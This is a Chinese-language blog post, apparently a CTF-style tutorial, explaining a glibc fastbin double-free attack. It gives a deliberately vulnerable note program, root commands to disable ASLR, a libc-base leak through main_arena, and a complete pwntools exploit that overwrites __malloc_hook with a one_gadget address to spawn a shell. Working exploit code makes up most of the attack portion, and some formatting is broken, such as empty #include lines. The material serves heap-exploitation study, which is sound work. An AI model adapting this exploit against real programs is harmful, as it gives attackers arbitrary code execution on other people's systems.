fast_bin attack利用解释

使用电脑浏览效果更佳!

摘要

​ 主要通过Double Free在fast binY单链中存在两个指向同一内存块的指针,可能的排布(A2->B-A1),第一次malloc该大小拿到A2指向该chunk,向其数据data写入__malloc_hook的地址(同时也修改了A1的fd,即也在该大小的fast bin的尾部增加了一个地址为__malloc_hook的内存chunk[fake chunk]),所以当依次拿掉B,A1后,在malloc一次即可获取到指向__malloc_hook地址的指针,这时候你就爽了,通过修改其为其他函数地址(如one_gadget),malloc函数检查到__malloc_hook被设置后转向该hook函数进行“自定义”的malloc内存分配,即开了一个shell。

分析

void delete_note(){
    printf("index:");
    int idx = read_int();
    if(note[idx]){ //指针不为NULL就delete
        free(note[idx]);
        //note[idx] = 0 double free
        return;
    }
    puts("No such note");
}

利用

利用main_arena leak libc base address

原理:main_arena 为libc动态共享库的数据段中一个全局变量,unsorted bin为一个双向链表,当一个chunk size 大于fast bin最大值的时候被放入的是unsorted bin,因为此刻是第一个chunk加入到unsorted bin,所以该chunk的fd,bk指针都指向main_arena地址,只要知道main_arena在该版本libc的偏移量就可以利用libc base = leaked_main_arena_addresss - libc_base_maps计算,其中libc_base_maps为关闭系统的aslr后程序加载libc的基地址:

参考:http://eternalsakura13.com/2018/04/03/babyheap/

cat /proc/sys/kernel/randomize_va_space  # 0,1,2
# root 下通过 echo 0 > /proc/sys/kernel/randomize_va_space 关闭aslr
cat /proc/117818/maps # 查看pid进程的内存映射 ps -aux | grep fast_bin

# gdb下调试查看全局变量的地址
p &__malloc_hook

one_gadget 对应版本libc的offset不同

找到满足rsp+x = null的偏移

1563541417536

运行效果如图

1563541529187

完整程序与exp

  1. baby_fast_bin_attack
#include
#include
#include

/***************
*简单的利用Double Free 漏洞leak libc地址(修改__malloc_hook为one gadget地址获取shell)fastbin attack
*By yawn
****************/

char *note[10];

int read_int(){
    char buf[16];
    if (__read_chk(0,buf,15,15)<=0){
        puts("read error");
        exit(1);
    }
    return (unsigned int)atoi(buf);
}

void add_note(){
    for (int i=0;i<10;++i){
        if(!note[i]){
            printf("size:");
            int size = read_int();
            note[i] = malloc(size); //分配size个bytes(字节)
            printf("what do you want to write:");
            read(0,note[i],size);
            return;
        }
    }
    puts("Fulls!");
}

void delete_note(){
    printf("index:");
    int idx = read_int();
    if(note[idx]){ //指针不为NULL就delete
        free(note[idx]);
        //note[idx] = 0 double free
        return;
    }
    puts("No such note");
}

void show_note(){
    printf("index:");
    int idx = read_int();
    if(note[idx]){
        printf("%s",note[idx]);
        return;
    }
    puts("No this note");
}

void menu(){
    puts("--------------------");
    puts("1.add a note");
    puts("2.delete a note");
    puts("3.show a note");
    puts("4.exit");
    puts("--------------------");
    puts("Your choice:");
}

int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    while(1){
        menu();
        switch( read_int()){
            case 1:
                add_note();
                break;
            case 2:
                delete_note();
                break;
            case 3:
                show_note();
                break;
            case 4:
                printf("Bye!\n");
                _exit(0);
            default:
                puts("Invalid choice!");
                break;
        }
    }
    return 0;
}        
  1. EXP

     #!/usr/bin/python
     # coding:utf-8
     from pwn import * 
     p = process("./fast_bin")
     libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
     def add(size,data):
         p.sendafter("choice:","1")
         p.sendafter("size:",str(size))
         p.sendafter("write:",data)
    
     def free(idx):
         p.sendafter("choice:","2")
         p.sendafter("index:",str(idx))
    
     def show(idx):
         p.sendafter("choice:","3")
         p.sendafter("index:",str(idx))
    
     add(0x500,'a') # 0,free 掉之后一直都有的0还保留这原来的指针指向chunk
     add(0x10,'a') # 1
    
     free(0)
     add(0x500,'a') # 2
     show(2)
    
     main_arena = p.recv(6).ljust(8,'\x00') 
     libc.address = u64(main_arena)-0x3c4b61 # leak 到 libc的基址 0x61 = a同步不会变
     print hex(libc.address)
    
    
add(0x68,'a') # 3
add(0x68,'a') # 4

free(3)
free(4)
free(3)

print hex(libc.symbols['__malloc_hook'])
add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
add(0x68,'a')
add(0x68,'a') # 露出伪造到libc的地址

one_gadget = 0xf02a4

add(0x68,'y'*3+p64(libc.address + one_gadget))

p.interactive()
```

 上一篇
glibc heap pwn notes glibc heap pwn notes
使用电脑浏览效果更佳! 摘要​ 记录Glibc heap的数据结构与分配过程,转自 先知社区《glibc heap pwn notes》 。freebuf Glibc堆管理机制与利用手法 统一说明为glibc-2.23,更
2019-07-20
下一篇 
Double Free利用解释 Double Free利用解释
使用电脑浏览效果更佳! 摘要​ 记录一道Double Free的利用手法,利用Double Free转为UAF达到控制程序流程目的。基本的思想一般是利用大小在fast_bin范围内的内存块间的错误解析,利用Double Free在
2019-07-17
  目录